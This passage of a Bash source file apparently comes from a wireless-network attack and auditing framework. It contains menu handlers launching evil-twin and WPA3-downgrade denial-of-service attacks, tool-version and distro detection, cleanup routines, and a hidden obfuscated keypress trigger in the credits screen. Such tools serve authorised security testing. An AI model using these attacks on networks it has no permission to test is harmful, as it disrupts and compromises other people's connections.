"et_captive_portal" ]] || [[ -n "${enterprise_mode}" ]]; then et_prerequisites else if detect_internet_interface; then et_prerequisites else return fi fi fi ;; 3) if contains_element "${et_dos_option}" "${forbidden_options[@]}"; then forbidden_menu_option else et_dos_attack="Auth DoS" echo language_strings "${language}" 509 "yellow" if ! dos_pursuit_mode_et_handler; then return fi if [[ "${et_mode}" = "et_captive_portal" ]] || [[ -n "${enterprise_mode}" ]]; then et_prerequisites else if detect_internet_interface; then et_prerequisites else return fi fi fi ;; *) invalid_menu_option ;; esac if [ "${1}" = "enterprise" ]; then et_dos_menu "${1}" else et_dos_menu fi } #DoS WPA3 downgrade attack menu function wpa3_dos_menu() { debug_print if [[ -n "${return_to_wpa3_main_menu}" ]] && [[ "${return_to_wpa3_main_menu}" -eq 1 ]]; then return fi clear language_strings "${language}" 775 "title" current_menu="wpa3_dos_menu" initialize_menu_and_print_selections echo language_strings "${language}" 47 "green" print_simple_separator language_strings "${language}" 776 print_simple_separator language_strings "${language}" 139 mdk_attack_dependencies[@] language_strings "${language}" 140 aireplay_attack_dependencies[@] language_strings "${language}" 141 mdk_attack_dependencies[@] print_hint read -rp "> " wpa3_dos_option case ${wpa3_dos_option} in 0) return ;; 1) if contains_element "${wpa3_dos_option}" "${forbidden_options[@]}"; then forbidden_menu_option else downgrade_dos_attack="${mdk_command}" wpa3_downgrade_prerequisites fi ;; 2) if contains_element "${wpa3_dos_option}" "${forbidden_options[@]}"; then forbidden_menu_option else downgrade_dos_attack="Aireplay" wpa3_downgrade_prerequisites fi ;; 3) if contains_element "${wpa3_dos_option}" "${forbidden_options[@]}"; then forbidden_menu_option else downgrade_dos_attack="Auth DoS" wpa3_downgrade_prerequisites fi ;; *) invalid_menu_option ;; esac wpa3_dos_menu } #Selected internet interface detection function detect_internet_interface() { debug_print if [ "${internet_interface_selected}" -eq 1 ]; then return 0 fi if [ -n "${internet_interface}" ]; then echo language_strings "${language}" 285 "blue" ask_yesno 284 "yes" if [ "${yesno}" = "n" ]; then if ! select_secondary_interface "internet"; then return 1 fi fi else if ! select_secondary_interface "internet"; then return 1 fi fi validate_et_internet_interface return $? } #Show about and credits function credits_option() { debug_print clear language_strings "${language}" 105 "title" language_strings "${language}" 74 "pink" echo language_strings "${language}" 73 "blue" echo echo -e "${green_color} .-\"\"\"\"-." sleep 0.15 && echo -e " / \ " sleep 0.15 && echo -e "${yellow_color} ____ ____ __ _______ ${green_color} /_ _\ " sleep 0.15 && echo -e "${yellow_color} ___ _/_ | _____/_ |/ |_ \ _ \_______ ${green_color} // \ / \\\\\ " sleep 0.15 && echo -e "${yellow_color} \ \/ /| |/ ___/| \ __\/ /_\ \_ __ \ ${green_color} |\__\ /__/|" sleep 0.15 && echo -e "${yellow_color} \ / | |\___ \ | || | \ \_/ \ | \/ ${green_color} \ || /" sleep 0.15 && echo -e "${yellow_color} \_/ |___/____ >|___||__| \_____ /__| ${green_color} \ /" sleep 0.15 && echo -e "${yellow_color} \/ \/ ${green_color} \ __ / " sleep 0.15 && echo -e " '.__.'" sleep 0.15 && echo -e " | |${normal_color}" echo language_strings "${language}" 75 "blue" echo language_strings "${language}" 85 "pink" language_strings "${language}" 107 "pink" language_strings "${language}" 421 "pink" echo language_strings "${language}" 702 "blue" for i in "${sponsors[@]}"; do echo -ne "${pink_color}\"${i}\" ${normal_color}" done echo echo language_strings "${language}" 115 "multiline" echo local seq="" local key="" while true; do IFS= read -rsn1 key [[ -z ${key} ]] && break seq+="${key}" done local len=${#seq} if (( len >= 3 )); then local last3="${seq: -3}" local _x _y _z _x=$(printf "\x75") _y=$(printf "\x66") _z=$(printf "\x6f") if [[ "${last3}" == "${_x}${_y}${_z}" ]]; then update_ui_layout_on_keypress fi fi } #Show message for invalid selected language function invalid_language_selected() { debug_print echo language_strings "${language}" 82 "red" echo language_strings "${language}" 115 "read" } #Show message for captive portal invalid selected language function invalid_captive_portal_language_selected() { debug_print language_strings "${language}" 82 "red" echo language_strings "${language}" 115 "read" set_captive_portal_language } #Show message for forbidden selected option function forbidden_menu_option() { debug_print echo language_strings "${language}" 220 "red" language_strings "${language}" 115 "read" } #Show message for invalid selected option function invalid_menu_option() { debug_print echo language_strings "${language}" 76 "red" language_strings "${language}" 115 "read" } #Show message for invalid selected interface function invalid_iface_selected() { debug_print echo language_strings "${language}" 77 "red" echo language_strings "${language}" 115 "read" echo select_interface } #Show message for invalid selected secondary interface function invalid_secondary_iface_selected() { debug_print echo language_strings "${language}" 77 "red" echo language_strings "${language}" 115 "read" echo select_secondary_interface "${1}" } #Manage behavior of captured traps function capture_traps() { debug_print if [ "${FUNCNAME[1]}" != "check_language_strings" ]; then case "${1}" in INT|SIGTSTP) case ${current_menu} in "pre_main_menu"|"select_interface_menu") exit_code=1 exit_script_option ;; *) if [ -n "${capture_traps_in_progress}" ]; then echo language_strings "${language}" 12 "green" echo -n "> " return fi capture_traps_in_progress=1 local previous_default_choice="${default_choice}" ask_yesno 12 "yes" if [ "${yesno}" = "y" ]; then exit_code=1 capture_traps_in_progress="" exit_script_option else if [ -n "${previous_default_choice}" ]; then default_choice="${previous_default_choice}" case ${previous_default_choice^^} in "Y"|"YES") visual_choice="[Y/n]" ;; "N"|"NO") visual_choice="[y/N]" ;; "") visual_choice="[y/n]" ;; esac fi language_strings "${language}" 224 "blue" if [ "${last_buffered_type1}" = "read" ]; then language_strings "${language}" "${last_buffered_message2}" "${last_buffered_type2}" else language_strings "${language}" "${last_buffered_message1}" "${last_buffered_type1}" fi fi ;; esac ;; SIGINT|SIGHUP) if [ "${no_hardcore_exit}" -eq 0 ]; then hardcore_exit else exit ${exit_code} fi ;; esac else echo hardcore_exit fi capture_traps_in_progress="" } #Exit the script managing possible pending tasks function exit_script_option() { debug_print action_on_exit_taken=0 echo language_strings "${language}" 106 "title" language_strings "${language}" 11 "blue" echo language_strings "${language}" 165 "blue" if [ "${ifacemode}" = "Monitor" ]; then ask_yesno 166 "no" if [ "${yesno}" = "n" ]; then action_on_exit_taken=1 language_strings "${language}" 167 "multiline" if [ "${interface_airmon_compatible}" -eq 1 ]; then ${airmon} stop "${interface}" > /dev/null 2>&1 else set_mode_without_airmon "${interface}" "managed" fi ifacemode="Managed" time_loop echo -e "${green_color} Ok\r${normal_color}" fi fi if [ "${nm_processes_killed}" -eq 1 ]; then action_on_exit_taken=1 language_strings "${language}" 168 "multiline" eval "${networkmanager_cmd} > /dev/null 2>&1" time_loop echo -e "${green_color} Ok\r${normal_color}" fi if [ "${routing_modified}" -eq 1 ]; then action_on_exit_taken=1 language_strings "${language}" 297 "multiline" clean_routing_rules time_loop echo -e "${green_color} Ok\r${normal_color}" fi action_on_exit_taken=1 language_strings "${language}" 164 "multiline" clean_tmpfiles "exit_script" time_loop echo -e "${green_color} Ok\r${normal_color}" if [[ "${spoofed_mac}" -eq 1 ]] && [[ "${ifacemode}" = "Managed" ]]; then language_strings "${language}" 418 "multiline" restore_spoofed_macs time_loop echo -e "${green_color} Ok\r${normal_color}" fi if [ "${action_on_exit_taken}" -eq 0 ]; then language_strings "${language}" 160 "yellow" fi echo if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then clean_env_vars no_hardcore_exit=1 if ! kill_tmux_session "${session_name}" > /dev/null; then exit ${exit_code} fi else clean_env_vars exit ${exit_code} fi } #Exit the script managing possible pending tasks but not showing anything function hardcore_exit() { debug_print exit_code=2 if [ "${ifacemode}" = "Monitor" ]; then ${airmon} stop "${interface}" > /dev/null 2>&1 ifacemode="Managed" fi if [ "${nm_processes_killed}" -eq 1 ]; then eval "${networkmanager_cmd} > /dev/null 2>&1" fi clean_tmpfiles "exit_script" if [ "${routing_modified}" -eq 1 ]; then clean_routing_rules fi if [[ "${spoofed_mac}" -eq 1 ]] && [[ "${ifacemode}" = "Managed" ]]; then language_strings "${language}" 418 "multiline" restore_spoofed_macs time_loop echo -e "${green_color} Ok\r${normal_color}" fi if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then clean_env_vars if ! kill_tmux_session "${session_name}"; then exit ${exit_code} fi else clean_env_vars exit ${exit_code} fi } #Generate a small time loop printing some dots function time_loop() { debug_print echo -ne " " for ((j=1; j<=4; j++)); do echo -ne "." sleep 0.035 done } #Detect iptables/nftables function iptables_nftables_detection() { debug_print if ! "${AIRGEDDON_FORCE_IPTABLES:-false}"; then if hash nft 2> /dev/null; then iptables_nftables=1 else iptables_nftables=0 fi else if ! hash iptables 2> /dev/null && ! hash iptables-legacy 2> /dev/null; then echo language_strings "${language}" 615 "red" exit_code=1 exit_script_option else iptables_nftables=0 fi fi if [ "${iptables_nftables}" -eq 0 ]; then if hash iptables-legacy 2> /dev/null && ! hash iptables 2> /dev/null; then iptables_cmd="iptables-legacy" elif hash iptables 2> /dev/null && ! hash iptables-legacy 2> /dev/null; then iptables_cmd="iptables" elif hash iptables 2> /dev/null && hash iptables-legacy 2> /dev/null; then iptables_cmd="iptables" fi else iptables_cmd="nft" fi } #Determine which version of airmon to use function airmon_fix() { debug_print airmon="airmon-ng" if hash airmon-zc 2> /dev/null; then airmon="airmon-zc" fi } #Set hashcat parameters based on version function set_hashcat_parameters() { debug_print hashcat_cmd_fix="" hashcat_charset_fix_needed=0 if compare_floats_greater_or_equal "${hashcat_version}" "${hashcat3_version}"; then hashcat_charset_fix_needed=1 if compare_floats_greater_or_equal "${hashcat_version}" "${hashcat4_version}"; then hashcat_cmd_fix=" -D 2,1 --force" else hashcat_cmd_fix=" --weak-hash-threshold 0 -D 2,1 --force" fi if compare_floats_greater_or_equal "${hashcat_version}" "${hashcat_hccapx_version}"; then hccapx_needed=1 fi if compare_floats_greater_or_equal "${hashcat_version}" "${hashcat_hcx_conversion_version}"; then hcx_conversion_needed=1 fi if compare_floats_greater_or_equal "${hashcat_version}" "${hashcat_2500_deprecated_version}"; then hashcat_handshake_cracking_plugin="22000" fi fi } #Detects if your arping version is the right one or if it is the bad iputils-arping function check_right_arping() { debug_print if arping 2> /dev/null | grep -Eq "^ARPing"; then return 0 fi return 1 } #Detects if John the Ripper is able to perform the attacks function validate_jtr() { debug_print if john -h 2> /dev/null | grep -qi '\-\-pot' 2> /dev/null; then return 0 fi return 1 } #Determine aircrack version #shellcheck disable=SC2034 function get_aircrack_version() { debug_print aircrack_version=$(aircrack-ng --help | grep -i "aircrack-ng" | head -n 1 | awk '{print $2}') echo -e " \r\033[1A" [[ ${aircrack_version} =~ ^([0-9]{1,2}\.[0-9]{1,2})\.?([0-9]+|.+)? ]] && aircrack_version="${BASH_REMATCH[1]}" } #Determine john the ripper version function get_jtr_version() { debug_print jtr_version=$(john | grep -Po '(?<=version )[0-9\.]+|(?<=John the Ripper )\d+\.\d+\.\d+') } #Determine hashcat version function get_hashcat_version() { debug_print hashcat_version=$(hashcat -V 2> /dev/null) hashcat_version=${hashcat_version#"v"} } #Determine hcxdumptool version function get_hcxdumptool_version() { debug_print hcxdumptool_version=$(hcxdumptool --version | awk 'NR == 1 {print $2}') } #Determine beef version function get_beef_version() { debug_print beef_version=$(grep "version" "${beef_path}${beef_default_cfg_file}" 2> /dev/null | grep -oE "[0-9.]+") } #Determine bettercap version function get_bettercap_version() { debug_print bettercap_version=$(bettercap -v 2> /dev/null | grep -E "^bettercap [0-9]" | awk '{print $2}') if [ -z "${bettercap_version}" ]; then bettercap_version=$(bettercap -eval "q" 2> /dev/null | grep -E "bettercap v[0-9\.]*" | awk '{print $2}') bettercap_version=${bettercap_version#"v"} fi } #Determine hostapd version function get_hostapd_version() { debug_print hostapd_version=$(hostapd -v 2>&1 | grep -oiP '^hostapd v\K[0-9]+\.[0-9]+') } #Determine hostapd-wpe version function get_hostapd_wpe_version() { debug_print hostapd_wpe_version=$(hostapd-wpe -v 2>&1 | grep -oiP '^hostapd-WPE v\K[0-9]+\.[0-9]+') } #Determine bully version function get_bully_version() { debug_print bully_version=$(bully -V 2> /dev/null) bully_version=${bully_version#"v"} bully_version=${bully_version%"-"*} } #Determine reaver version function get_reaver_version() { debug_print reaver_version=$(reaver -h 2>&1 > /dev/null | grep -E "^Reaver v[0-9]" | awk '{print $2}' | grep -Eo "v[0-9\.]+") if [ -z "${reaver_version}" ]; then reaver_version=$(reaver -h 2> /dev/null | grep -E "^Reaver v[0-9]" | awk '{print $2}' | grep -Eo "v[0-9\.]+") fi reaver_version=${reaver_version#"v"} } #Set verbosity for bully based on version function set_bully_verbosity() { debug_print if compare_floats_greater_or_equal "${bully_version}" "${minimum_bully_verbosity4_version}"; then bully_verbosity="4" else bully_verbosity="3" fi } #Validate if bully version is able to perform integrated pixiewps attack function validate_bully_pixiewps_version() { debug_print if compare_floats_greater_or_equal "${bully_version}" "${minimum_bully_pixiewps_version}"; then return 0 fi return 1 } #Validate if reaver version is able to perform integrated pixiewps attack function validate_reaver_pixiewps_version() { debug_print if compare_floats_greater_or_equal "${reaver_version}" "${minimum_reaver_pixiewps_version}"; then return 0 fi return 1 } #Validate if reaver version is able to perform null pin attack function validate_reaver_nullpin_version() { debug_print if compare_floats_greater_or_equal "${reaver_version}" "${minimum_reaver_nullpin_version}"; then return 0 fi return 1 } #Validate if wash version is able to perform 5Ghz dual scan function validate_wash_dualscan_version() { debug_print if compare_floats_greater_or_equal "${reaver_version}" "${minimum_wash_dualscan_version}"; then return 0 fi return 1 } #Validate if aircrack version is valid to interact with WPA3 function validate_aircrack_wpa3_version() { debug_print if compare_floats_greater_or_equal "${aircrack_version}" "${aircrack_wpa3_version}"; then return 0 fi return 1 } #Validate if hashcat version is able to perform pmkid cracking function validate_hashcat_pmkid_version() { debug_print if compare_floats_greater_or_equal "${hashcat_version}" "${minimum_hashcat_pmkid_version}"; then return 0 fi return 1 } #Detects if operating in a VM and detects VM vendor function vm_detection() { debug_print _readfile() { [ -r "${1}" ] && tr -d '\0' < "${1}"; } _lowercase() { printf '%s' "$*" | tr '[:upper:]' '[:lower:]'; } local mac local dmi dmi="$(_readfile /sys/class/dmi/id/product_name) $(_readfile /sys/class/dmi/id/sys_vendor) $(_readfile /sys/class/dmi/id/bios_vendor) $(_readfile /sys/class/dmi/id/board_vendor) $(_readfile /sys/class/dmi/id/chassis_vendor)" dmi="${dmi,,}" case "${dmi}" in *virtualbox*|*innotek*gmbh*) is_vm=1 vm_vendor="VirtualBox" ;; *vmware*) is_vm=1 vm_vendor="VMware" ;; *kvm*|*qemu*|*bochs*|*"red hat"*|*rhev*) is_vm=1 vm_vendor="Qemu" ;; esac if [[ "${is_vm}" -eq 0 ]] && grep -qiE 'hypervisor' /proc/cpuinfo 2>/dev/null; then is_vm=1 fi if [[ "${is_vm}" -eq 1 ]] && [[ "${vm_vendor}" = "" ]]; then for f in /sys/class/net/*/address; do [ -e "$f" ] || continue mac=$(cat "$f" 2>/dev/null | tr '[:lower:]' '[:upper:]') case "${mac}" in 08:00:27:*) vm_vendor="VirtualBox" break ;; 00:05:69:*|00:0C:29:*|00:1C:14:*|00:50:56:*) vm_vendor="VMware" break ;; 52:54:00:*) vm_vendor="Qemu" break ;; esac done fi if [ "${is_vm}" -eq 1 ]; then return 0 else return 1 fi } #Set the script folder var if necessary function set_script_paths() { debug_print if [ -z "${scriptfolder}" ]; then scriptfolder=${0} if ! [[ ${0} =~ ^/.*$ ]]; then if ! [[ ${0} =~ ^.*/.*$ ]]; then scriptfolder="./" fi fi scriptfolder="${scriptfolder%/*}/" scriptfolder="$(readlink -f "${scriptfolder}")" scriptfolder="${scriptfolder%/}/" scriptname="${0##*/}" fi user_homedir=$(env | grep ^HOME | awk -F = '{print $2}' 2> /dev/null) lastcharuser_homedir=${user_homedir: -1} if [ "${lastcharuser_homedir}" != "/" ]; then user_homedir="${user_homedir}/" fi plugins_paths=( "${scriptfolder}${plugins_dir}" "${user_homedir}.airgeddon/${plugins_dir}" ) } #Set the default directory for saving files function set_default_save_path() { debug_print if [ "${is_docker}" -eq 1 ]; then default_save_path="${docker_io_dir}" else default_save_path="${user_homedir}" fi } #Return absolute path for a given string path function set_absolute_path() { debug_print local string_path string_path=$(readlink -f "${1}") if [ -d "${string_path}" ]; then string_path="${string_path%/}/" fi echo "${string_path}" } #Check if pins database file exist and try to download the new one if proceed function check_pins_database_file() { debug_print if [ -f "${scriptfolder}${known_pins_dbfile}" ]; then language_strings "${language}" 376 "yellow" echo language_strings "${language}" 287 "blue" if check_repository_access; then get_local_pin_dbfile_checksum "${scriptfolder}${known_pins_dbfile}" if ! get_remote_pin_dbfile_checksum; then echo language_strings "${language}" 381 "yellow" else echo if [ "${local_pin_dbfile_checksum}" != "${remote_pin_dbfile_checksum}" ]; then language_strings "${language}" 383 "yellow" echo if download_pins_database_file; then language_strings "${language}" 377 "yellow" pin_dbfile_checked=1 else language_strings "${language}" 378 "yellow" fi else language_strings "${language}" 382 "yellow" pin_dbfile_checked=1 fi fi else echo language_strings "${language}" 375 "yellow" ask_for_pin_dbfile_download_retry fi return 0 else language_strings "${language}" 374 "yellow" echo if hash curl 2> /dev/null; then language_strings "${language}" 287 "blue" if ! check_repository_access; then echo language_strings "${language}" 375 "yellow" return 1 else echo if download_pins_database_file; then language_strings "${language}" 377 "yellow" pin_dbfile_checked=1 return 0 else language_strings "${language}" 378 "yellow" return 1 fi fi else language_strings "${language}" 414 "yellow" return 1 fi fi } #Get and write options form options config file function update_options_config_file() { debug_print case "${1}" in "getdata") readarray -t OPTION_VARS < <(grep "AIRGEDDON_" "${rc_path}" 2> /dev/null) ;; "writedata") local option_name local option_value for item in "${OPTION_VARS[@]}"; do option_name="${item%=*}" option_value="${item#*=}" for item2 in "${ordered_options_env_vars[@]}"; do if [ "${item2}" = "${option_name}" ]; then sed -ri "s:(${option_name})=(.+):\1=${option_value}:" "${rc_path}" 2> /dev/null fi done done ;; esac } #Download the options config file function download_options_config_file() { debug_print local options_config_file_downloaded=0 options_config_file=$(timeout -s SIGTERM 15 curl -L ${urlscript_options_config_file} 2> /dev/null) if [[ -n "${options_config_file}" ]] && [[ "${options_config_file}" != "${curl_404_error}" ]]; then options_config_file_downloaded=1 else http_proxy_detect if [ "${http_proxy_set}" -eq 1 ]; then options_config_file=$(timeout -s SIGTERM 15 curl --proxy "${http_proxy}" -L ${urlscript_options_config_file} 2> /dev/null) if [[ -n "${options_config_file}" ]] && [[ "${options_config_file}" != "${curl_404_error}" ]]; then options_config_file_downloaded=1 fi fi fi if [ "${options_config_file_downloaded}" -eq 1 ]; then rm -rf "${rc_path}" 2> /dev/null echo "${options_config_file}" > "${rc_path}" return 0 else return 1 fi } #Download the pins database file function download_pins_database_file() { debug_print local pindb_file_downloaded=0 remote_pindb_file=$(timeout -s SIGTERM 15 curl -L ${urlscript_pins_dbfile} 2> /dev/null) if [[ -n "${remote_pindb_file}" ]] && [[ "${remote_pindb_file}" != "${curl_404_error}" ]]; then pindb_file_downloaded=1 else http_proxy_detect if [ "${http_proxy_set}" -eq 1 ]; then remote_pindb_file=$(timeout -s SIGTERM 15 curl --proxy "${http_proxy}" -L ${urlscript_pins_dbfile} 2> /dev/null) if [[ -n "${remote_pindb_file}" ]] && [[ "${remote_pindb_file}" != "${curl_404_error}" ]]; then pindb_file_downloaded=1 fi fi fi if [ "${pindb_file_downloaded}" -eq 1 ]; then rm -rf "${scriptfolder}${known_pins_dbfile}" 2> /dev/null echo "${remote_pindb_file}" > "${scriptfolder}${known_pins_dbfile}" return 0 else return 1 fi } #Ask for try to download pin db file again and set the var to skip it function ask_for_pin_dbfile_download_retry() { debug_print ask_yesno 380 "no" if [ "${yesno}" = "n" ]; then pin_dbfile_checked=1 fi } #Get the checksum for local pin database file function get_local_pin_dbfile_checksum() { debug_print local_pin_dbfile_checksum=$(md5sum "${1}" | awk '{print $1}') } #Get the checksum for remote pin database file function get_remote_pin_dbfile_checksum() { debug_print remote_pin_dbfile_checksum=$(timeout -s SIGTERM 15 curl -L ${urlscript_pins_dbfile_checksum} 2> /dev/null | head -n 1) if [[ -n "${remote_pin_dbfile_checksum}" ]] && [[ "${remote_pin_dbfile_checksum}" != "${curl_404_error}" ]]; then return 0 else http_proxy_detect if [ "${http_proxy_set}" -eq 1 ]; then remote_pin_dbfile_checksum=$(timeout -s SIGTERM 15 curl --proxy "${http_proxy}" -L ${urlscript_pins_dbfile_checksum} 2> /dev/null | head -n 1) if [[ -n "${remote_pin_dbfile_checksum}" ]] && [[ "${remote_pin_dbfile_checksum}" != "${curl_404_error}" ]]; then return 0 fi fi fi return 1 } #Check for possible non Linux operating systems function non_linux_os_check() { debug_print case "${OSTYPE}" in solaris*) distro="Solaris" ;; darwin*) distro="Mac OSX" ;; bsd*) distro="FreeBSD" ;; esac } #First phase of Linux distro detection based on uname output function detect_distro_phase1() { debug_print local possible_distro="" for i in "${known_compatible_distros[@]}"; do if uname -a | grep -i "${i}" > /dev/null; then possible_distro="${i^}" if [ "${possible_distro}" != "Arch" ]; then if [[ "$(uname -a)" =~ [Rr]pi ]]; then distro="Raspberry Pi OS" else distro="${i^}" fi break else if uname -a | grep -i "aarch64" > /dev/null; then continue else distro="${i^}" break fi fi fi done for i in "${known_incompatible_distros[@]}"; do if uname -a | grep -i "${i}" > /dev/null; then distro="${i^}" break fi done } #Second phase of Linux distro detection based on architecture and version file function detect_distro_phase2() { debug_print if [ "${distro}" = "Unknown Linux" ]; then if [ -f "${osversionfile_dir}centos-release" ]; then distro="CentOS" elif [ -f "${osversionfile_dir}fedora-release" ]; then distro="Fedora" elif [ -f "${osversionfile_dir}gentoo-release" ]; then distro="Gentoo" elif [ -f "${osversionfile_dir}cachyos-release" ]; then distro="CachyOS" elif [ -f "${osversionfile_dir}openmandriva-release" ]; then distro="OpenMandriva" elif [ -f "${osversionfile_dir}redhat-release" ]; then distro="Red Hat" elif [ -f "${osversionfile_dir}SuSE-release" ]; then distro="SuSE" elif [ -f "${osversionfile_dir}debian_version" ]; then distro="Debian" if [ -f "${osversionfile_dir}os-release" ]; then extra_os_info="$(grep "PRETTY_NAME" < "${osversionfile_dir}os-release")" if [[ "${extra_os_info}" =~ [Rr]aspbian ]]; then distro="Raspbian" is_arm=1 elif [[ "${extra_os_info}" =~ [Pp]arrot ]]; then distro="Parrot arm" is_arm=1 elif [[ "${extra_os_info}" =~ [Dd]ebian ]] && [[ "$(uname -a)" =~ [Rr]aspberry|[Rr]pi ]]; then distro="Raspberry Pi OS" is_arm=1 fi fi fi elif [ "${distro}" = "Arch" ]; then if [ -f "${osversionfile_dir}os-release" ]; then extra_os_info="$(grep "PRETTY_NAME" < "${osversionfile_dir}os-release")" extra_os_info2="$(grep -i "blackarch" < "${osversionfile_dir}issue")" if [[ "${extra_os_info}" =~ [Bb]lack[Aa]rch ]] || [[ "${extra_os_info2}" =~ [Bb]lack[Aa]rch ]]; then distro="BlackArch" fi fi elif [ "${distro}" = "Ubuntu" ]; then if [ -f "${osversionfile_dir}os-release" ]; then extra_os_info="$(grep "PRETTY_NAME" < "${osversionfile_dir}os-release")" if [[ "${extra_os_info}" =~ [Mm]int ]]; then distro="Mint" fi fi fi detect_arm_architecture } #Detect if arm architecture is present on system function detect_arm_architecture() { debug_print distro_already_known=0 if uname -m | grep -Ei "arm|aarch64" > /dev/null; then is_arm=1 if [ "${distro}" != "Unknown Linux" ]; then for item in "${known_arm_compatible_distros[@]}"; do if [ "${distro}" = "${item}" ]; then distro_already_known=1 fi done fi if [ "${distro_already_known}" -eq 0 ]; then if [ "${distro: -3}" != "arm" ]; then distro="${distro} arm" fi fi fi } #Set some useful vars based on Linux distro function special_distro_features() { debug_print case ${distro} in "Wifislax") networkmanager_cmd="service restart networkmanager" xratio=7 yratio=15.1 ywindow_edge_lines=1 ywindow_edge_pixels=-14 ;; "Backbox") networkmanager_cmd="systemctl restart NetworkManager.service" xratio=6 yratio=14.2 ywindow_edge_lines=1 ywindow_edge_pixels=15 ;; "Ubuntu"|"Mint") networkmanager_cmd="systemctl restart NetworkManager.service" xratio=6.2 yratio=13.9 ywindow_edge_lines=2 ywindow_edge_pixels=18 ;; "Kali"|"Kali arm") networkmanager_cmd="systemctl restart NetworkManager.service" xratio=6.2 yratio=13.9 ywindow_edge_lines=2 ywindow_edge_pixels=18 ;; "Debian") networkmanager_cmd="systemctl restart NetworkManager.service" xratio=6.2 yratio=13.9 ywindow_edge_lines=2 ywindow_edge_pixels=14 ;; "SuSE") networkmanager_cmd="service NetworkManager restart" xratio=6.2 yratio=13.9 ywindow_edge_lines=2 ywindow_edge_pixels=18 ;; "CentOS") networkmanager_cmd="service NetworkManager restart" xratio=6.2 yratio=14.9 ywindow_edge_lines=2 ywindow_edge_pixels=10 ;; "Parrot"|"Parrot arm") networkmanager_cmd="systemctl restart NetworkManager.service" xratio=6.2 yratio=13.9 ywindow_edge_lines=2 ywindow_edge_pixels=10 ;; "Arch"|"CachyOS") networkmanager_cmd="systemctl restart NetworkManager.service" xratio=6.2 yratio=13.9 ywindow_edge_lines=2 ywindow_edge_pixels=16 ;; "Fedora") networkmanager_cmd="service NetworkManager restart" xratio=6 yratio=14.1 ywindow_edge_lines=2 ywindow_edge_pixels=16 ;; "Gentoo") networkmanager_cmd="service NetworkManager restart" xratio=6.2 yratio=14.6 ywindow_edge_lines=1 ywindow_edge_pixels=-10 ;; "Pentoo") networkmanager_cmd="rc-service NetworkManager restart" xratio=6.2 yratio=14.6 ywindow_edge_lines=1 ywindow_edge_pixels=-10 ;; "Red Hat") networkmanager_cmd="service NetworkManager restart" xratio=6.2 yratio=15.3 ywindow_edge_lines=1 ywindow_edge_pixels=10 ;; "Cyborg") networkmanager_cmd="service network-manager restart" xratio=6.2 yratio=14.5 ywindow_edge_lines=2 ywindow_edge_pixels=10 ;; "BlackArch") networkmanager_cmd="systemctl restart NetworkManager.service" xratio=8 yratio=18 ywindow_edge_lines=1 ywindow_edge_pixels=1 ;; "Raspbian|Raspberry Pi OS") networkmanager_cmd="systemctl restart NetworkManager.service" xratio=6.2 yratio=14 ywindow_edge_lines=1 ywindow_edge_pixels=20 ;; "OpenMandriva") networkmanager_cmd="systemctl restart NetworkManager.service" xratio=6.2 yratio=14 ywindow_edge_lines=2 ywindow_edge_pixels=-10 ;; esac } #Determine if NetworkManager must be killed on your system. Only needed for previous versions of 1.0.12 function check_if_kill_needed() { debug_print nm_min_main_version="1" nm_min_subversion="0" nm_min_subversion2="12" if ! hash NetworkManager 2> /dev/null; then check_kill_needed=0 else nm_system_version=$(NetworkManager --version 2> /dev/null) if [ "${nm_system_version}" != "" ]; then [[ ${nm_system_version} =~ ^([0-9]{1,2})\.([0-9]{1,2})\.?(([0-9]+)|.+)? ]] && nm_main_system_version="${BASH_REMATCH[1]}" && nm_system_subversion="${BASH_REMATCH[2]}" && nm_system_subversion2="${BASH_REMATCH[3]}" [[ ${nm_system_subversion2} =~ [a-zA-Z] ]] && nm_system_subversion2="0" if [ "${nm_main_system_version}" -lt ${nm_min_main_version} ]; then check_kill_needed=1 elif [ "${nm_main_system_version}" -eq ${nm_min_main_version} ]; then if [ "${nm_system_subversion}" -lt ${nm_min_subversion} ]; then check_kill_needed=1 elif [ "${nm_system_subversion}" -eq ${nm_min_subversion} ]; then if [ "${nm_system_subversion2}" -lt ${nm_min_subversion2} ]; then check_kill_needed=1 fi fi fi else check_kill_needed=1 fi fi } #Do some checks for some general configuration function general_checkings() { debug_print compatible=0 check_if_kill_needed if [ "${distro}" = "Unknown Linux" ]; then non_linux_os_check echo -e "${yellow_color}${distro}${normal_color}" else if [ "${is_docker}" -eq 1 ]; then echo -e "${yellow_color}${distro} Linux ${pink_color}(${docker_image[${language}]})${normal_color}" else echo -e "${yellow_color}${distro} Linux${normal_color}" fi fi if vm_detection; then echo language_strings "${language}" 803 "yellow" fi check_compatibility if [ "${compatible}" -eq 1 ]; then return fi exit_code=1 exit_script_option } #Check if system is running under Windows Subsystem for Linux check_wsl() { debug_print if [ "${distro}" = "Microsoft" ]; then echo language_strings "${language}" 701 "red" language_strings "${language}" 115 "read" exit_code=1 exit_script_option fi } #Check if the user is root function check_root_permissions() { debug_print user=$(whoami) if [ "${user}" = "root" ]; then if ! "${AIRGEDDON_SILENT_CHECKS:-false}"; then echo language_strings "${language}" 484 "yellow" fi else echo language_strings "${language}" 223 "red" exit_code=1 exit_script_option fi } #Print Linux known distros #shellcheck disable=SC2207 function print_known_distros() { debug_print all_known_compatible_distros=("${known_compatible_distros[@]}" "${known_arm_compatible_distros[@]}") IFS=$'\n' all_known_compatible_distros=($(printf "%s\n" "${all_known_compatible_distros[@]}" | sort)) unset IFS for i in "${all_known_compatible_distros[@]}"; do echo -ne "${pink_color}\"${i}\" ${normal_color}" done echo } #Check if you have installed the tools (essential, optional and update) that the script uses #shellcheck disable=SC2059 function check_compatibility() { debug_print local term_width local column_width local columns term_width=$(tput cols 2> /dev/null || echo 80) column_width=26 columns=$(( term_width / column_width )) (( columns < 1 )) && columns=1 if ! "${AIRGEDDON_SILENT_CHECKS:-false}"; then echo language_strings "${language}" 108 "blue" language_strings "${language}" 115 "read" echo language_strings "${language}" 109 "blue" fi essential_toolsok=1 local ok_essential_tools=() local error_essential_tools=() for i in "${essential_tools_names[@]}"; do if hash "${i}" 2> /dev/null; then ok_essential_tools+=("${i}") else error_essential_tools+=("${i}") essential_toolsok=0 fi done if ! "${AIRGEDDON_SILENT_CHECKS:-false}"; then counter=0 for i in "${ok_essential_tools[@]}"; do printf "%-14s" "${i}" time_loop printf " "; printf "${green_color}Ok${normal_color}" ((counter++)) if (( counter % columns == 0 )); then echo else printf " " fi done if (( counter % columns != 0 )); then echo fi for i in "${error_essential_tools[@]}"; do printf "%-14s" "${i}" time_loop printf " "; printf "${red_color}Error${normal_color}" echo -n " (${possible_package_names_text[${language}]} : ${possible_package_names[${i}]})" echo done fi if ! 